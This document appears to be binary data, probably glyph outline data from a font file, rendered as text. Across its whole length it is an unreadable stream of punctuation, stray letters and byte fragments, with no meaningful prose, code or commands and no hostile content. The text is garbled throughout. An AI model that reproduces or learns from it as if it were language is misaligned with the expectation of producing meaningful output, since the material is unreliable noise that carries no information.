$w*>j[)I211#"'&'&'&/&'&'&'5&?>"&54'&/.'&547676274632#"'&'&/&/&'&/&'&54?676?>2327676?676767>7654/&'&'&'&'&'&'./&2&'&76!2&'&76"#"32767654&#""'&/&'&n              .  +     +  +APp>5&7 %1* =,   6!    "%N\.-D3$   -2 "  "    (+4*$   . Z!1."   B3   (''    #.$(+ $   5" + &+%. %!#,@B* 'FI%  +B0   , ! # / + 4   .C$! !   0Jcq~2'&'&'&'&'&7676?6?676?6?6?6763#";&'./&/&'&!!54/&'!!767"3276?>762/!.   . [LhMD6     1  !7 ! :/     #l B#,D)!'0  $*   rS #  2   !  5/Q'1/>#$$$!  T(  ++ 20 19So2#"'&'&/&'&5476767676767363'76?676?67675654&/&'&'&'4/&/&'&=476?676?643"&76767>4&/&'&/@:.262C*65 ZJ:=/%"5$&0?" 2$      _     7!  #   #  C >?+ +F1:Nx A9.3 *#-  4% ^o J;5.s 2T#,4@    O  !& -E (!& FN;- !   Fa*""' $$ ) 1  ( l^*H4"D" d2/Qv!&'&'&'&='46?>76;6 #!367676?5&'&/&2+/&'&/57676?6"#"32676?5'&'&+ #   --0!  #`* JD -+    +- C?     ח4  ) ח4% T L   S 8  } <   u1[s2#"&'&54767676?62'&/&54?6/'&'&=6?4/&'&'&546"76764'.'&'&)   %   aSRO PK+*  Db^  +0/GX;  [[G2  eb0'" , > *EALJ  xV QY ,  % ;*  l9\23276?676#"'&'&#"/./4?6?676?6&67632&#'"'&/&'!=E 4"RKAF $ nlx@#    RGU`'5,#D!5:'74AF)O   " ,     T!V !   ;1Vx23#/&'&'&547676?676?654'&'&/&/.547676?>;6"3&/&/&/&5476767!%          {r    1  E:FO$-V !    (% (,'/%0   T&%tmV<#IN # 95 QNCGOot#"&'1&5&5'5&'&/&!#&32#&'&'&'&='46?>76;6#&'&'&/&'&=476?676;63#35+ %3   ݟ`* }  0 ! & =  &=0n#h1# 0U   ?\  L * ח4% 5  ^  " }}L2-P2722+&'.'&'676?6?>;6"#!676?656&'&'&/0D? !1$ݼ"'4 'rh!  1 /--&4  4'- -1T؟`* (`)&B!&'&'&'&='46?>76;6 # 7>75&'&/&+ %3  4'--0 !  N  1$ݼ"'4 * ח4% T L  1Cm9232#"/&/#"&/&54?'.'&467>?6?26?>67632'.7>?>/&/&/#4764/&/./&546?67632#"/"'&'&/&%#"&/#"&54?/&'&54?2?6324/476?'&'./"7>32%7632'&547676".'   P ! " #%       4,        Y'*4  -  K      '%; ! !)X( Y% ,  $  ! % 6 /5 0 )& !6 )+  (     66 #.   M Q  ,(' '  n/#"" !2  )O (( (% $' ;         [?i2#"'&'&/&/&/&?67676?676?63"#"767676=64'54'&'.'&2#"&'&54767676?62#"'&'.546?>?6;6"32>7654'&'&M>   7  +$# 18  6B32)$    :+)   %          " ! Z) = `\/&%  1G  N- R Jrr (/$rr" T'" ,  6    *   2%23'&'&'&'&'&'&/&/&/&/+"&/&/.'&/46?676;63223367632#"&'&/#767673636;2'#&'./&'&'&5/##"&'.547676#3#35& n #     *6"   +  mm   ! n    5    $     R mm !  SSS*S  GE! $  -  V #        ?<'[5    V         S SS2-2+"&//&/5+"&'&'&54>76"32767>=4&/327>'4/&'&'&/&'&'&/&/&/&'&+?67654'&'&    ^ _  j  ^%)*>2         % 1/7>2 1  ] ]  }    _+% !+  <+!>   2  2)}+"&/&'&'5+"&'&?>76327"#"67676767676?676?676?6;32>54'&/. _ ^    L)* ' ,3    0j  ] eM c ] ]  I   M  3*Ts    !# U< _  dL222'&/#"'&'&'&'&'5&'&54767676?2?'.47676"&5476736372".76?6?654&/.+&'&654'&'.#"'#"3    0G#' C$"VU  &<6e; # 2"   !  U9  M      " 1 /F \C WV   ' :4  &9#      #2   (+   !2B%"#"&/&54?&'&'&'&5476?67'&'&4767632'&/#"&'&%"&5476?67654'&'&'&/&'#&#"#"&54?67637276323276?6'E aP     1.     45  :$ %5O(   ,1- / ' "z+        q  lF@ GO""#F0@(1.   34   $+$"(#'   f$$ "   D? a (2#KW2'&/!'76767'&'&47676"&76?'5.'&#"'.76?6767'76767%    OP& %"  2 3    " 1 NO (< %"  T $$ 3 ) "̿#2Y%4546?'./&/&'&'&4767632'&/#'&'&547>?>3;#?>76;"#"3276=!/.'#3;276765'&/&'&'(K       mp ;$   6 _  l]h  w  vo    L      mp  ;$     q Z +.  n  +T"'1&5&5'5&'&/&!#&;#&'&'&'&='46?>?6?6;6#"'&/'&'&/57676;2+#&'&/./&'&=476?676;63#35+ #  =  ݟ`* -  1  !   11  D  1 <  '=0n; h P^ ?\  L  * ח4  11   2 7 ]   9 }}P}"&'1&5&5'5&'&/&!#&;#&'&'&'&='46?>76;64632546?>32'#"'"'#.54;'.'#&'&/./&'&=476?676;63#35+ &3  ݟ`* -  0 ! t 02   !+  2]  <  &=0n; h4&P_  ?\  L  * ח4% 02     *_ 7 ^   9 }}"0\`e23+"&/&'&'676?6;6!232+"'&'&/&'&5476?676;6#3#3\!  A     a       A  &SS#)S          T  v!%"'&'767632#&61'&+  * )    yL3n2#"'&'&/.'&'&546767676?6#"327676?676?>7654/&'&/&'&/&'&10- e :#$2'( .C  .Db   " )  "=Z" (     96K!aH V6A3/&9T  )B0''3   $-Q8   u2;2"&'&'676?63!2#"&'&'&=4767676325    'ـ   ())(  s Ku6?2#"&'&'676?63!2#"&/.547>3"2?&'&     ʼn&  ())( > sLKsPL'E!&'.'&'676767676?6;6"!7676?'&'&/? ( d!)5   t`    )!!15)!|!   T      "?HN2#"'&'&5&7676?>67632#"'&/&'&'676767'         L Dt.j   'a)    .rCr >Ar(^;BJ%+&'&'&'.4>76762%2##"'&/.46?673>'7%'7          T qqqqOOb     **ccddccdEEdK2IN#"'&4767676?6;632#"'&'&7676;67676=#'&'./5#"%'372#&'#".54?'&/&'&6?67676;6"32654'&7>'#"'    SE  3(_s n`FF"  | !! G+   ! 89:7 !   '1    #0@   ,    (3     FG H B~  % nY   Yn"D ' S     0(+ XL2k 2#"'.5476363736767>'&'#"#"&/.54676&+#'.'&'67>?>;6232#"&'&?>?6;62"'&546762323#'&'.63232#+"&'&5467672+"'.47>32+"&/&/&/546?676763"354'4'1. jl '"# \[\ #   ,?  !!S   I  + j   6  9      l    5.!  5    S1hl %1  HW\\   " -- -.     S <  S  "S  S $ T+l    S  S ./.  uL1#'&'&5476?'&'&'&76767676?676?>;6"#"76?6?6?>22676?6?6767676=l  %     HY**F=   B$+/1 7<&*"!!/    4I$  %U347<+.(+/) jd$  0 % " "%&AC<3B7 S   **0?(( %E.   1G) +<9LPB2ax+32+"'&'&=7676?6;5#"&'&'&/.547>76;23?6?6?6763%#;54'&/&'&'&"#"327273676756=#!>76'5 1<$4-TW  2*]1O WT11*!]C  E$ vO  2#0)&:,2 A ) 6" N5    & 0E ) a[ *0 U [aS d) 39o "   @-'! "3!S &"$ B&4 _W  V`+"'&'&=#"#&'&'&'.'&'&'&=467676?6;276767676763%#;54'&'&/&/&'&"#"327276?6?>?6?6=  1<$4- " ? #!('  Q, 61    ,"B3 ?06!  ) 0#    ` & 0E TW  .0#5 1   T"  ?39(#! &"$ ""  u'<Qd2323+"#&'.'&7>7676;62#"'&76!";23>7&'&#"?676'&'&y"0( ^9.$/  F  !  j  9,     )VX7&' T \   H * R M2PT&47%36767>'#/&'&/&/&=##"&'&'567>?>;6323'#"#""17>576?>;;27>7654/.'&:!! FF  !SE !- cA ">' '&     \-  < DE  A< -  .  C%-A! "  U_  \_'-  v$6Fw&547>;7#&'&7676;2&'&54767323&547>;"'&/&#";27>4.#"54'.'#& *  @  r   ,        8 !  (    2      ! U wu  uw v0@Wn2#"/&/+"'&'&=#"'.76?>&'&5476371+".4?>;+".5476?>;"#&367654&'       {               ?   uw  wu z   S   #       t1!<Rh27676'.47654762#"&'&'54676;63232"&'&47>321"&'&'5467>32#"&/.546?6;6"?6?7>76=>76./& %        6     6        %  1"MK#KM"                }KM MK#vSd2676?>?6;2#"'&'&/&/&'&#"2"'./567>2'&'&476"'&'='#"'&/&'&'&'&'&5476323276767676?'".5476762%"76?64/&'&    ?!  "!9=G  ($0#&;(6 &  [   i  .(3:6;(:   "'%-8@3', &       3;V,3+(      \P" "    2-#&$  &  & %    \P' " 2W232#"/&/&'&/&/&'&'&54767>76;276?6?6764'#"'&'&/&'&"+76?676?6?676?6%"26?>'5654'&'&   5--$"%! "%   o@  0  QC<6   Z ).2) *&"   Fi @A '" ) 1  # *TG;@"&   8J HARa,!( $  97     20<5-/ F#6  7R- )    B  B/ t.G\!'.'&/&/767676?6"#!67>767&'&'#"327>54'&'&   &   #  $ #$## $ "&       T##% "!u"2K7&'7676;63'67.'%#"276?>54'&'&U O  -   $    tU C! T   u  u"2I7&'7676;63'67.'%#"7>'&'&/&U O  -   $  } U C! T    ~}K#=^2#"/./&'&46?676?63 !#&'&'5&=4676"#"326767654&/. 1   ( ؟`*  $    $   " +  #      2\`2'&'&/5#/&'&/&/&=##36+"&/.'&'67>?>;63'""'&'&'&=476?6?676;2+"/./"32767>54'&'&   FF   qH  t<& -!RA c . :  9 8'  U  u    1^a    A< ݟ`*  7"- -. A!  G    + '      W         v0(@R2#"'.'&'&5476?67676"767654'&'&2&54676762"/&/&'.'&'&6?6?6767676"76767654'&"#"2654'&'&\'    AD   )F /01/  V9,$* A,  8'   #1  /1Y  2, % 0  $+ :% AE$, S * //1/ .& S  '4B,#A,  8'%!8    T   02Z ?&R   2Du}7"&54?6?'&'&'&?6?>?&'.4767632'&/'&'&/4632#"/#"'&76?''&=46?'&'6? <' #  YT)       #  '< n $VP j  86f  "n]b9 .  <'  #  [S*   # '< #WPh $ 87e  p c 9:I4767!++'&'&=#"'&'&'546?5#"&#!5'.=. E (&TW WT&(S))N))  PL+*UV VU*+LPjkTQQTkjVfjpu21#"'&/##"&/&/5#&/.'5>?%76?676#32'#3%654'#35       > TX   .  P  JOI s.   Y)(J)  /4  3  40 =GJQ.&   .Z[ %B< `& J (4H[?|2&54?6767&/&/&'&'&/&'&'".?6762'&//&/&54?/&'&467676?2.47676"?>2/& j= YV +I)f( +   O       zu>o@     J\'Z    WT  *J Z1!  )  A=!O l?   5' 1 F- 2)@Y|2'&/'&'&'&'&'&/&767'.47676!2#"&'.=467676"&54?6?67632'2'&'&'&'&'&'&'&'&767632?%232"&'&47>!21"&'&'5467>"&54?>?632%"67676514&'#&    uv D!%  vt         $.(!  D   a % i  6     6  " $    1 tv  % D vu "5      $  '   A  #-%        " $    t2=is"#"'&'&/57676?5#&'./&54767632+#!"&'&/57676?5#"'&'&/&5476767>763267654+%3W!   G  *  *(,   TV 3)D   Z xx!#  |   w    )'p]RJ:D  pmA+%%" 2:47673'.4767632'&/+'&'&'&'&'&/&/4#"&%#"'.'&7654'#&'&'&/&54676735##"'&'&547>76;6;3"!67>?&'#"'&=&'#"/<?&' "10      "  U7      z  1-O3   .**  **  54c 21  "   '_t  Y S  , 0 :+*"6:)*c`%552&236767&'#"&5476?'&'&4767632'&/"&'&'&5476?&'+"&/&'5&=4675&/"/./&5463267'&'#+"'&'&=46?67363"&'#&547654'&'&/&/&/&#"'&'&6?5.'&=4676;676'1.54>2#"&'1&3>76;2##%'2767>'W  *'     '* *< .   *3   A W  V $  !  ,  :  A < V  er '30  *'   '*  W & W @    3*  )     .  V   V < @  : +3  )   4r "(!4 2Oe23547>?'&1#"&54?>?62676;5.'&=4676;6376'1.54>2#"&'1&3>76;2#+"&'#'./4'&/./.#"3+"&/&'5&=4675#"/.'"/./&546321?'&'&=#+"'&'&=46?67363#"&'&/&/&54756?6?676372#"/&/"32654'&'1.W <@   4 ,  ") :  A <W    '  &J* .    $   A< W   !       V  (t#   #   :  A W   ++< @  : 1   )      &E3%1  & W  @  : /   )   H   ' %     ) W  (##  092'&/&''.'&7676767>76763"32?676?.'&54?6?>32327>76=4/&/&'&/&/&'&/&#"6767654'.H-&7+:9  -, H  ,R0,!  :'( $ #>  E,LT    /+ ' )   K    )0 *7(;692+,]9$  -   :2 2$(XBS  "#a;Nd#-) Y5#(  AC(#8$  &  &7,% N- P!%#!  t1JY2'&'&/&/&'&/&'57676?>76?5'&54767676"6=4&#7676?6?&'&'+"'&'&5"276716?6?5'"&/%  +]w  xm".( 'i<   H   !;_hfi ! [0 gd  qu* A ZD -D,J0* '0 93 0   i $R$S   (,12  **(25  5//57D./*  "v1,8IYhpz2'&/&/&'&'57676?67676&'&'327767'#"&'75%75676?6?2='%3?5   *2(^R ,!W8))K6(oyyoQ JH RN>?}S HJ))*)A1^_;5. x  + #  =DD= -T0-%# .##F. #%^_22 ] %/u0%#'&'&/&'&5476?6!"#?554'"3;"'&/&'&276?6767>'&'&'#?67676&'&') *)WVT %)IjjjjI)p, 6 9=A & %  % <6>  6.   , $##$ T0   (   1 u0u%#'&'&/&'&5476?6!"#?554'";"'&/&'&276?6767>'&/&+5'367>4'&'&') *)WVT %)IjjjjI)p,  ggA & %  %  ml   >  6.   , $##$ T  (   P u$(+  '&'&7>?6"67!#%!V  ``_M$      QV S_`֬5Gs232!'&'&/&7>2#"'&'&7676#327273>767654'&'&'&+./&'&/&'&'&'&/&2#"'&'&7676"327676=6. UD        p    mH !          l     3$     $   * "  -    "  &"" - . . E2+#"'./4&/&'&'&4763276767367'4767676232?>54'.'&#""&#""/3276?>7>7#"326?6764'&'&>0(!% ) &)1  2 (3 -/ D?  ,, !@&  8;! ;-    [W-#Y^ , *1#  *.OBE X ( 3 "!  >=0( !- J*O, - ,   ! ,&  '" =A4E, 0  y2767676276?67632&'&/./132+"'&'&/&4?676?6;1./'.>?6&'6%67'&'667'h36  63^ 5- o9"r 9767   7679 r59 q  L&= 9 m  3663  a7.  n 9" r97  6776  79r59qJ%B  vZ]4632#"/&'&/&/&'&'&5476767676?67632767676?67654'&"/&'&/32?67>7654'&/&'&/&  > , +; *1 &&)  ' "      W   = , # Yi " /11` $ +pMH'   12=I=1), "$  ! B<7'  Ib%:5  eD;11 8%u"3276=3767>=4&/&'&'&/67676?54'&#54'.'&+";&'&'&/&/&'&   !./ " I-)(    $+)("   )    I    0eF    %# )"/(' "ki3"A (,!+&7(C   9  ik  pU. # vSfv#32 '&547676;5&'#"&'&4767>;2#+7'&'&5476?6762&'"3276?64&   oL$@B " -+hg   $7n ")    ( `  ]?%#I "      j    P\ H#<q #"'&'&'."#"'&'.'&'54?6767676 32727676?6767632;67>7674'&'&2#"'&'&546763%"#"3276?6?>54&+(5 C6$ 6#",  2!   %)33# )3#O 4  '!] 1#  -4( 3<  #)6 ='   ,  $ S  #_B~ '$  *-!,  #0vC%#"'&'.'&'&?676?676?6767637"#";67654'./&'&'&/&'&/43276764'&'&#"54?676736767654' 60%,8Z  ;O#M75  8  H 34#[(-  &bB&- + 1!*   d0Q @  pG*09(  +J"    )'?  )1()4   928G*09(  +/@   #! " $ Y<  Of%"&547676?5&/&!#&;"'&'&'&/&/&=67676! 23 '&'&7676232+"'&'&7676!2#"'"'&"##"&'&'5&'&676?63"3276764'&'&232"'&'&7>#2767622=#"'I ؟`* n_su   Q3+(5     D     B |F1 ((%V       ] @  *N    ܹ$P4(    }  10I"&%3]S "  + )      2'.59BNV\enu21#!"'&'&/546716767667&/57&/&2766?/%6767641"7&'#37' JJ  JJpM\][]\V*:f#< P !B[ q *W[))h>SS>1i    }S`CCn`aTCC:Y> ,Y m ! (I ;>2 & RRK2X2"#1##"'&'&'5#&'.5476?'&'&'&76?'.'.4?>767'&'&6?'&/&5476?#35  A@ !!e  46 m.  >A  00  r# 6006 #r  `*T1    B? $ e >  3 [o  >A  f0/   s  6116! s    +SS2ML2'&'&'&'&#"1'#&/&'&'&54?>?6?6!2"'&'&7>7>7654'.'&"'&76?6767676?63237676'&/#.76?5'&'&>"35232767676761#"'&/&/&'&'&'&54767676?6!"#"'&'&'.'&3276?67654'&/&'&/&(!   2     .  (9,&3      !4      I          *T  %&   /=   2  7 &4+ # $ 1      2     !'4+  U4                    STU 0     #  % "   =#+  %!$6/ 1<2#"'.'&'&/&'&'&5476?6?676763"#"3276?6?676?>76?6?6?654&'&'&'&'&/&'&2#"./&'.476?6767667#!&%)(&C#(2-8@%!F$%  #  #DXt   !0*%   &2  ( %3 8yUU  II ͣH))9 0  -Nx H>35  42>H*$& F:KS  $8 8    6 $5 ."}  IIZH|235'&'&'&54767632367>76=&'.54767632+#"'&'&547676?5##"&'&'&5476?>?'&'&'&5476?#";2>'&'&!"2676=4'&#!#"32654'&/.";2>&!";26=4&  #  (    3#   DU[% (   #    /        %          *4# ZZ#(  )S  *?&  #  0 CZ ".)  #ZZ*4# )  3  T !         !  [-jw2"&'.?6?67>7676?63676322/&'&/&'&'&'&#"3276?6327>76"&/&54&"'#"./&'&%"76?&/&'.$ZDC) [[tP!!! %1   +,/I*9//" 1%3""b&1?6 ," hh    R_ Z <:R! $  Z     Y(  "  "2  # A ".- (!  ^  L128232+"&/.=47>;67676'67  X*    r1 LL NO   gh 3f_27676;+"'&/&'&'&'&'&'&'&/&5&74732676?6767676?54'&/&/&'"2'4'&/&'&'&/&!"#"37676?67676?6?4 3  9,;C     #3! # & B20%   ?:(: #2  !        =R  %]%>   bG 84 : =6  33'-'   !20C&   PF?2 g  8Q   .$ !!$  (    0 RC 'k% .)"//9'Iq23!&'&'&/5'46?67676;6 #!367676?5&'&/&2746?632#"&/#"&'&47676!2546?632#"&/#"&'&476762'&'&5476">&).1 H --2  #`*         l     # ' @ @ ' 4 T L   }#  #   #  #      }$ $-Oo!&'&'&'&='46?>?6?6;6 #!367676?5&'&/&"&4676732"&'5&5&=%2=>?>32"'&/#"&'&=47>2&'&=476"67654'.+ #   H --1 !   #`*  $ $     l"       I @ ) ח4  T L         ,CS       +  !x!   }   -Om!&'&'&'&='46?>?6?6;6 #!367676?5&'&/&"'1&5&5'#"/.546767!232#"'&'5/"&?>?6;62'&7>"7676&+ #   H --1 !   #`* M  <   <           I @ ) ח4  T L   }  ,D "t"  :C    # } $  N2;276?>32"&'&'&/&'&#"#"&476?6?6763237676#"'&/&'&/&'&"#"&'&76?6?63#"3276?676323276?67>."#"/&/&'&K!      1(+ ! /H"7!H80& 6#%    3- H:0@!"&QH   R`=8&7 5   F> $    =!5.0 (#+4-'!$.      /#%7"5      "   %  #  ,  0 $ 1!     (   %     !  07Q^k 2#"'&/&'&'&/&'&'&5476?6?>76323623.'&/&'&#"'76?6?67&/"#""322?27657654/&/&&54?4#"%"76767367676754'&/&/&'4'&/&/&/%?6?6767#276?67"#"'mC %(1.8@!>%#  +`L6P6       <1L- (P    V!  !  "   #       , I$   |    ! 0'0Nx 6/*)>%  %42>H*$& Vx 0    KL1 *O62 &b%%!9685%        %58    ! 2   3  -4H  G0i236#"'&/#"/&'&'&'&54?6?#"'&'&'&54?6?6?632547676?>#32?6767654'&'&'&'&#" 54/&'&/&"32767676?4#";&#' ': $   * 44-%!    *  $_=  ;j 6 &      b$1   =0  C+!"A6   84  _= !#-!"A6 * E_= X  &7$   * %   8.gn2#"'&'&'&=676764/ '&'&5476?6;54767>76;576767673223676?>#354&3276?6?>/4#34&#"674?#3&7"64& D;  "&k1)*PP8   ~? 2     0" &T< }.=  3        j^ %-   j1?@PONN( 0  8?&    Q>}42  ! 3 )~    B  $Z 276?24'&/&547632767632+32#"'&'#"&'&'"/#"&=76#"/#"'&'&547676;'&?#"'&'&'&54767676%4&#"2?65"6?6&!"#"?>7>?6?654'&'&3"64&2?6'%"3276'&'&!"264&' V/ # 3' E  #'   6*6  G#  "/ 'd       S '(#&&  )$-     "   B "    Y" !"4   3   "O  MM    MM  ; "  9 ' 0   w    -(1eB_d  ^_ "! I3'  $--"#  !#`0547676?363547>76;6#"'.'&54'&#"#"'&'7676;6;233'#!5##&'.'1&5&=#1#&'&'&'!354676?676;23  )U*  ##<  6#0 .%!!  )}SS  x  R  x  1F/" S/   !# <0> +B . 9*. +))J   ..  -/$ #=*.3#u2_235>?676?>2#"/&'&'&5&'&'1&'&#"+"'1&'&/&'&'>76?6.'35476?67676323'#&'&'&'52#"'&/&546462#"&2#"'&/&546462#"&2#"'&/&546!"3276?654&07A R I >D - BK     .r   d# 3 S| #2   |S)* T % %  1$ , kg 1*.3/1 $  "(4   .0,  Ay7!$   [7  *&B  *&B    2BMh%47'"'&'&'54671>3?676767622#+"&'&'5&7/2#"&76?'&'&6!2#"/./&4?>?6"3.*    (, ! *(    * Z:  44u\\,,,,\\?88 ?   :$ 71654&/&    R   7y- #"  C #4  1TU  ON y"/ Rm  7$      u(8o!&/&'&'7>76?6;667.'%#"767676=3767676'.'&#54'&/& - )8 $  $  % $/g   A@@A  V  A@@Aw +32+3 '&'&4676735#"&'&'&/.=#"'&'.'&6323547676?6;5#"&'#.=47676"#";2671>=#'"'&'&="3./&'9  {%<@6 8 @Ez      z1')  jg .  $  3 J N3!  V ! $ ) $*  (  ()!  ")  ^!))   <@%&u02"&'&'&'&'&754'&/&#"#"'&'&=>?5&7676767632327676='&'54767676"276764'&'&"#"3267654'5&" %  /)  1   + 2*2  $  !%l0% 8.  $     0  GM "2 6  !+6\5   qp 2!3O*0 .PP"2 & .! `   & qpIPP?S@#  6 #@#@#%0E12#"/&/&'&/&/&/&'&'&547676?676763"#"32767676?67654/&/&'&'&'&/&"&5476?'&/&546?63727>?6#"'&/!"&54?'&'&5467>3276?6#"/&/";276?676764&/&'&#"'&/&'&<7+1 ."  +%(31:E#!3 #>Id   !0*% /"* M<12"  #  #          '  #     -       0 !3 nV>%  "- '"0A9.3 5,4S  $8!?#- 7/"+.%""NF       (  "    >    1PTN#"5476?6372254?6?632#"&'&54&#"'&'&=#'&'&=&#"#3227676767632326?6762#"&/&'&'&'&#"#"'&'&'&#"#"'&'&/.4676763227676767676"#"&/&#"33276?676763227676?67>2326?6767654&"#"'&/&'&'.'&#""'&'&'&/*    -- *      "%   ( #0      - "     (   '    &  #  H,    -  %    6  (   "   ') % (0  ! '0   K}                       ;                   (+]2! '&'&'&'&=4'46?676?"'"32+;5&'&'&'&6?>?53#32767>=#"'.'&7>76;54&'&#3%#3%7'6764'&     ' )& 1  0 ~ 3& ~ ' ~ +-  -+ ))q)) )Y 'B2    IP2"SY$#33 XX (%)$  X   / /a=Kd4767'"&/&76;632323!'&'&/&767>716327"326?>7'"#"+;6767675   XN $$, FH5+!66/# !)4 V]#Z(J  78 jk  SU }dA3}FQhp2#332+'#'&'&/&=4675>7672;2376?6;?6736;547676763#24'#3767632!676?67654'&'./!'&/&/f  4T  JY $Hc  _  "   0     >-  >;   ^>=   ) #066# 0 2   }B-   05%j     RXo3323#32!#"&'#&'&/&'&/.54767676?676;7>76767#3&' )67654'&/p  o!-"  Avf)      %  dK%&  E  1 ,($/     %   # S}>> A")-4=Ha2322! '.7/47>76#37#35#&'3&'&'&4/!!%676 # 7>76/&/B"]%45H)0 !3  ||7} 6,Fi=>   @D# T|||{ q$ S    gnx|2#"'&'&5476?6?54 '&'&'&5476?6;5467676;576767673223676763#354&4&"26%#34&#"674?#3&7"64&" I '218   ~  2     0" ,!CT }.{" "        $O   %@$HH::( 0 "@% *!Oa }42 !)~    B  $28"#&;'&'&?>76.'&3267>'&/&&*   -+    %5    1   #^ 09I27676/.'&476'.'&'&547676"6=4&"  %     ?  !0 *  A#  N S   2>C2+7676/.'&476#"&'&'&'57676?6;6#35Y %      /)*T1 \PH# P\  TSS58"'&'&?>76.'&7676.'&'./&/F    %F/  (=2 10G  #G0 (;2:6">76'&/!7>76'.'&!7676./& #^  #  7  %+-  -+% 7;@2!546767673#&'&'&=!./&?>76#35#P\   \PH# +*S7%     %  }TT;7">76'&/!>76'&/7676.'&!7676./& #G0 (;;(  0G#  7  %F/ (==( /F% Le2#&/#/.'.=467>76354>?6?67676#"326?67654'&7-'+.#K 6  6    V) !G%9N<=/ X7       8i'&   T + -F$ %Q$ Og23'&'&476&'&76?#'&'&=#"'.'&547676?6?67676#";54'.'&V1(!  #  # BF7K"  ! FD" (# ^% %  .'3>  T ($D=", ;0"7>76=!?>?6/.'&!54'&  ^#  # 7" -+% %+-"8>C2&'&76?!#'&'&/&47>?3!'&'&47676#35  #HP\   \P# )S7 %     % }TT;9"?>?!?>?6/.'&!/&/&(;;( $;#  #D*  7(==($;% %D) 17"?6?#" 7367676'&'&+>76'&'&'& @D +-  !8% B@ 1?C    ^# C@18G2'&/#"'&'&547676?&'&767676"#"3264& @B  %# )3     D@  1@C #A  . C?e %1<A2'&/32"'./567676;&'&767676#35 @B  %      D@ *T1@C #HP\   \P C?eSS18"?6??>?>76'&/>76'&'&'& @D F/ 2=( /F% B@ 1?C G02;( 0G# C@ c"2767654'&/&'&/76?>323276767676/&'.1"&'&/&'&'&'&#"54'&'.  [\ E 0#A,5,"'  $    :%  Ja         "&! "       J %"  e"27675327676?6767676767632654/&'&'&'&#"#"'&/&/&/376764'&'C  >  %:  *  "  !$- +> M   ZM D %!         ,!   ! ]"#"#"&'&/.'&32?67676763237>764'&'&#"'&/./&'&x #! (- GvJ   (&E \[        $ # ^c #     /  n"#"767>76?676?632326?6?6?3276764'./#3#"'&/&/&'&, ,%    *(     #%.  )   \P L1"  <  /    &%"         (u1/_676763276?6"/.'&=4>?6"#"?6??6??>=4'./&                 a( u1/^676763276?6"/.'&=4>?6"'&/&327>76=4./&'&'&                  y"2#3767676767676?67676737>?6/.'&"#"&/&'&'&/&'.$  Q $   5    V L E  !#     #' "0(J     $*      " %    %  !@""337>76?!?>?6/.'&!'./r bcut  C#  #P5   "$a% %sM1`2!)+"'./&4?>?>#"! !;27>?64/.'&            _    1e2!)+"'./&4?>?>#";2>?6/&/!7676?6'&'&)76?6&/&             _      -a2+"&?6?! '.'&?6?!'&/&?676#";2>?6/&/!7676?6'&'&)76?6&/&          _      -\2+"&?6?! '.'&?6?!'&/&?676#"! !;27>?64/.'&         _    ~"#"#2;27>764'&/&#"#'&'&'&'&'&'67676?6?676376;32?6764'.'& 6DI R((6a\\a1( 8ID6    5\  )&    C=5  # 768 < ( #" 7     |  7 #+ 7$|  ["##";3327>7654&'.'#"#'?673;>7>54'.'& 6~ ~D , ED  u7#5  DE # 7  a#"-$ EC N3 7 CE u2.]2/&//&//.=47>?6!"'&/&327>76=4./&'&'&-           1  a(    u2.^2/&//&//.=47>?6!"#"?6??6??>=4'./&-           1  a(   a( 1P&'&547676?676372#"/#"'./&'&767>?632""'&'&'&"332276?>4'&/&'&467>22?6767654/&'#&'&#"&54/&'&'&  !1 .%  :   #.$ JI7'2C f A) .$ !!    4   $     4   5 $! ! 0 ),  IJ  K7  ;6!+&'.'&=>76#3%#323#'&'&/476?>;6236+#".'&75#'&'&'&67636;54747>3#35-W""    $0a5 &[I! ?""Z` 2 ?  (- !  ^   /gS [I" $Y`) 5``!"#!T"}   `Z"  / ! -(  ?#/ Su8<@f2+&'&5767>;6!+&'.'&=>76#3%#323#'&'&/476?>;6!223"'&/&'&'54767>;6#3%#35-W""#8  $0a5 &[I! ?""Z` 2;  ``  1צMS [I!4Z`) 5``!"#!T"   `Z"!Z`  # T2-<P^2#"/&'&/&'&'&'&54?6762767/2+"&54767>462#"'&'.'327&/"#"'&'&  RD&?;6 $*#  ?4.3pq @.L   s$ (?l    8 #.00&0!1   $     Y\ s   # M=! J2"&'&/4'&'&'&'&#"#"&/.547676?676?6763"&54'&'&'&#"#"54?6?6?67676?32'"32767>7563232754'&'&QF5@ +<  >N+%.4M@44T#  2 CQ "#)*    *-   )% ,#! "  $  &  + 4iw  %0>,]' +F{    YM>>  &  39  %,  6 9<    '3G+   ( #K17j{#"/'&//&/#"'&/76767>76;6"#767362767676327>762'.'&2#"'&/&546!2#"&76%7>"3264& #4 #i  -7  i 'og !   )      ! "0  "   . !"1/!D ,6 D X[  T *  () }", % #/ ""7#3&'&54?>32"#"/&/&'&'&/&'&'1'&'&'&'&'&/.=47676;>7632#"&'"32?676767165654'&'&#'"'&'.=767632#3276767657"3276'&'&"' B,   B       '#      #!'/2%2   *B & &2 0(!. *  m 0 %0 "# 5 ZB    <  "$',Y#- ". *,%3 4R  5 6%$(R .   '.E 7# 6o2#"&'&?6?#.'&476?>73'&/&?>33'&'&76767;#"'&?6?#&'&'#'&'&?6767"#"#37>76?67654&'& ED  5?@  !& 6q@?5  DE 6  (cb  1 cb     EC 7) 057   }7 CE # 7V: E !<2#"&'&?6?#"'.5476?6?6?676;'&/&62;'&/&76767;#"&76?#"&'&/&'&'&/&'.#'&'&6767"#""+326?>36?6?>54&'& ED  5(     %(66;S8 .\H7   DE , '$!  !9? $B ?  =+   :# EC 7   7 }8 %C    CE #- )   5  5="#";3;267>54'.'&#"#'./& $   `_5  DE  6  7 CE   7 K"#"13;;267>54'.'&#"#"/&'&'&'&#&    ); "' 1)#5  DE 6  ?3327>7654.'& 5_` l0&   ,  7   -# R"#""3272?676?6767676;327>7654.'& 5# (  ) ;)   @)   +,  7       -$ u<]2#"'&'&47>?63#"3267654'&'&/&'&2#"'&'&'&'&54?67>2#"'&'&'&/&'&=4?6767634&+"326?6%#"32767>4'&'.'&)" :9 90    $%    "3&  :(  1")  <+# *  *S  "      <%8  2&L,4 S#    #]"  & !2"    ! ,    4( %31! % [1   ) L25U4632.'&'&'?>76322?&'&/&'#675'#"'&=', Y  PG V ?>#   ' jbS W -#R ؼ %YW^^DG    l $:C#/.'54763?6! 2"'&'&7676#3?fGG ,-O6 ][H**L ` $Nh 2UV?u|  TPSSPu,Hq2#'&/&'&/47676?6;6>7&'&'#&#&+#"'.'&=676?>?6372'#367>4&'&#&#327>76/&'&'";2654'&/&CX8 G$ X2> .!o$ D .HQ /5?$A  8sG       ?5") 4)    %k5g >2P0!  [v  !%2  & SS R  